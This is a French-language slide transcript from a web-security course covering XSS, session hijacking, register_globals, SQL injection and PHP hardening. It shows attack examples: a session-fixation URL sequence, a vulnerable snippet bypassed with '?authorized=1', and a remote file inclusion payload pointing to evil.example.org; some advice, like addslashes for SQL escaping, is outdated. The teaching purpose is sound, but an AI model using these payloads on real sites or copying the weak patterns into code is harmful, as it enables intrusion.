La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur.

Présentations similaires


Présentation au sujet: "MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur."— Transcription de la présentation:

1 MODEX WEB BAPTISTE DESPREZ Un peu de sécurité

2 Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur (Firefox, IE, Opera, …) Présent sur presque tous les sites au cœur des pages HTML (Gmail, phpMyAdmin, …) Attention ! Il est possible de désactiver JavaScript dans votre navigateur

3 Cross Site Scripting (XSS) En quoi ça consiste ? Le XSS consiste à exploiter une faiblesse dun site web qui contrôle mal les données insérées par les utilisateurs Les risques Un utilisateur malveillant peut insérer son propre code HTML ou JavaScript

4 Cross Site Scripting (XSS) Quelques « pistes » pour se protéger : Htmlspecialchars($chaine, ENT_QUOTES) Contrôlez les données que lutilisateur peut insérer et qui sont directement affichées dans vos pages Mieux vaut gérer une liste « blanche » quune liste « noire »

5 Usurpation de session En quoi ça consiste ? Lusurpation de session consiste à accéder à la session dun autre utilisateur On distingue 3 types dattaques de session : Interception Prédiction Fixation Les risques Un utilisateur malveillant peut prendre lidentité dune autre personne, casser le site, envoyer des messages sous une autre identité, …

6 Usurpation de session Prédiction Consiste à deviner un identifiant de session valide Interception Consiste à récupérer lID de session (PHPSESSID) via une faille XSS comme tout à lheure, ou via GET quand la configuration de PHP le permet Fixation Consiste à fixer lID de session AVANT dutiliser lapplication Le pirate envoie l'URL http://jesuisunsite.com/login.php?PHPSESSID=1234 à un utilisateur L'utilisateur suit le lien, sil ne possède pas de cookie de session, il va initialiser la session à 1234 L'utilisateur entre son login et s'identifie Le pirate suit alors http://jesuisunsite.com/index.php?PHPSESSID=1234 et se retrouve à la racine du site, avec la session de l'utilisateur fraichement authentifié Si l'utilisateur est administrateur, le pirate peut directement aller sur http://jesuisunsite.com/admin.php?PHPSESSID=1234

7 Usurpation de session Quelques pistes pour se protéger ini_set('session.use_trans_sid', '0'); Régénérer votre session, pour compliquer un peu la tâche du pirate ;) <?php session_name("Mon_Beau_Site_Web" ); session_start(); if (!isset($_SESSION['initiated'])) { session_regenerate_id(); $_SESSION['initiated'] = true; } ?>

8 Register Globals Directive du fichier de configuration de PHP (php.ini) OFF par défaut depuis php 4.2 ON sur certains serveurs pour des raisons de compatibilité…

9 <?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } ?> ?authorized=1 dans lURL suffit à contourner la protection Register Globals

10 <?php include "$path/script.php"; ?> ?path=http%3A%2F%2Fevil.example.org%2F%3F dans lURL va donner : include "http://evil.example.org/?/script.php"; Register Globals

11 Quelques « pistes » pour se protéger : ini_set('register_globals', '0'); ini_set(allow_url_fopen', '0');

12 Injection SQL En quoi ça consiste ? Linjection SQL consiste à exploiter une faiblesse dun site web qui contrôle mal les données insérées par les utilisateurs (jinsiste) Les risques Un utilisateur malveillant peut insérer du code SQL et : Au pire, détruire ou modifier la base de données Au mieux, accéder à des données confidentielles

13 Injection SQL Quelques « pistes » pour se protéger : Vérifier le format des données saisies et notamment la présence de caractères spéciaux Ne pas afficher de messages d'erreur explicites affichant la requête ou une partie de la requête SQL Eviter les comptes sans mot de passe Restreindre au minimum les privilèges des comptes utilisés Mysql_escape_string() ou Addslashes() Htmlspecialchars($chaine, ENT_QUOTES)

14 HTTP S en pratique

15 JavaScript, le retour

16 Vivons heureux, vivons cachés ! Phpinfo : ne loubliez pas ! Affichage des erreurs Affichage des messages de debug

17 Conclusion Contrôlez !!! Sécurisez les données sensibles avec HTTPS (si possible) Méfiez-vous de ce que vous trouvez sur Internet PhpMyAdmin : 10 failles de sécurité en 2008 Mediawiki : 4 failles de sécurité en 2008 … Payant ne veut pas dire plus sécurisé ! La plupart des intrusions sont faites de manière automatiques par des robots (GoogleHacking, …)

18 Quelques liens http://phpsec.org/projects/guide/fr/index.html http://fr.php.net/register_globals http://www.phpfreaks.com/tutorial/php- security/page1 http://www.phpfreaks.com/tutorial/php- security/page1 http://code.google.com/p/browsersec/wiki/Main http://johnny.ihackstuff.com/ghdb.php http://julien- pauli.developpez.com/tutoriels/securite/developpe ment-web-securite/ http://julien- pauli.developpez.com/tutoriels/securite/developpe ment-web-securite/


Télécharger ppt "MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur."

Présentations similaires


Annonces Google